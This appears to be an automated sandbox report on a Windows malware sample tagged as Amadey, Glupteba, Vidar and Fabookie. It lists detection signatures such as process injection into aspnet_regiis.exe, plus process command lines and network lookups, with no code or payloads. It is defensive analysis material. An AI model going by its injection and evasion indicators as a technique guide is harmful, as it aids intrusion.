Malware Analysis Report

2025-01-02 09:18

Sample ID 231004-1xf98afc7t
Target file
SHA256 8765a0a92fa60c2a4d21ca073dcf805f320c2e3d07703b97638b38888fe25d23
Tags
microsoft phishing amadey fabookie glupteba vidar 4841d6b1839c4fa7c20ecc420b82b347 dropper evasion loader spyware stealer trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

8765a0a92fa60c2a4d21ca073dcf805f320c2e3d07703b97638b38888fe25d23

Threat Level: Known bad

The file file was found to be: Known bad.

Malicious Activity Summary

microsoft phishing amadey fabookie glupteba vidar 4841d6b1839c4fa7c20ecc420b82b347 dropper evasion loader spyware stealer trojan upx

Detect Fabookie payload

Fabookie

Glupteba

Amadey

Vidar

Glupteba payload

Modifies boot configuration data using bcdedit

Downloads MZ/PE file

Modifies Windows Firewall

Possible attempt to disable PatchGuard

Stops running service(s)

.NET Reactor proctector

UPX packed file

Reads user/profile data of web browsers

Executes dropped EXE

Drops startup file

Loads dropped DLL

Legitimate hosting services abused for malware hosting/C2

Detected potential entity reuse from brand microsoft.

Suspicious use of SetThreadContext

Launches sc.exe

Enumerates physical storage devices

Unsigned PE

Suspicious use of SendNotifyMessage

Creates scheduled task(s)

Suspicious use of FindShellTrayWindow

Suspicious use of WriteProcessMemory

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Suspicious use of AdjustPrivilegeToken

Kills process with taskkill

Enumerates system info in registry

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-10-04 22:01

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2023-10-04 22:01

Reported

2023-10-04 22:04

Platform

win10v2004-20230915-en

Max time kernel

148s

Max time network

157s

Command Line

"C:\Users\Admin\AppData\Local\Temp\file.exe"

Signatures

Detected potential entity reuse from brand microsoft.

phishing microsoft

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2356 set thread context of 1440 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2356 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
PID 2356 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
PID 2356 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
PID 2356 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
PID 2356 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
PID 2356 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
PID 2356 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
PID 2356 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
PID 1440 wrote to memory of 5012 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1440 wrote to memory of 5012 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2624 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2624 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 2612 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 4072 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 4072 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 4604 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 4604 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 4604 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 4604 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 4604 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 4604 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 4604 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 4604 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 4604 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5012 wrote to memory of 4604 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Processes

C:\Users\Admin\AppData\Local\Temp\file.exe

"C:\Users\Admin\AppData\Local\Temp\file.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_regiis.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdced846f8,0x7ffdced84708,0x7ffdced84718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2508 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2092 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2912 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3876 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5236 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5236 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4736 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=180 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5512 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5472 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_regiis.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdced846f8,0x7ffdced84708,0x7ffdced84718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5500 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4860 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2076,14034340120732452410,9290840507514679418,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1136 /prefetch:2

Network

Country Destination Domain Proto
US 8.8.8.8:53 158.240.127.40.in-addr.arpa udp
US 8.8.8.8:53 254.178.238.8.in-addr.arpa udp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 learn.microsoft.com udp
NL 104.85.2.139:443 learn.microsoft.com tcp
US 8.8.8.8:53 mdec.nelreports.net udp
GB 88.221.134.24:443 mdec.nelreports.net tcp
US 8.8.8.8:53 wcpstatic.microsoft.com udp
US 8.8.8.8:53 js.monitor.azure.com udp
US 13.107.246.67:443 js.monitor.azure.com tcp
US 13.107.246.67:443 js.monitor.azure.com tcp
US 8.8.8.8:53 mscom.demdex.net udp
IE 34.254.109.178:443 mscom.demdex.net tcp
US 8.8.8.8:53 microsoftmscompoc.tt.omtrdc.net udp
US 8.8.8.8:53 target.microsoft.com udp
US 8.8.8.8:53 114.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 139.2.85.104.in-addr.arpa udp
US 8.8.8.8:53 24.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 67.246.107.13.in-addr.arpa udp
US 8.8.8.8:53 178.109.254.34.in-addr.arpa udp
US 8.8.8.8:53 browser.events.data.microsoft.com udp
GB 51.132.193.105:443 browser.events.data.microsoft.com tcp
GB 51.132.193.105:443 browser.events.data.microsoft.com tcp
US 8.8.8.8:53 105.193.132.51.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 1.202.248.87.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 254.23.238.8.in-addr.arpa udp
US 8.8.8.8:53 194.98.74.40.in-addr.arpa udp

Files

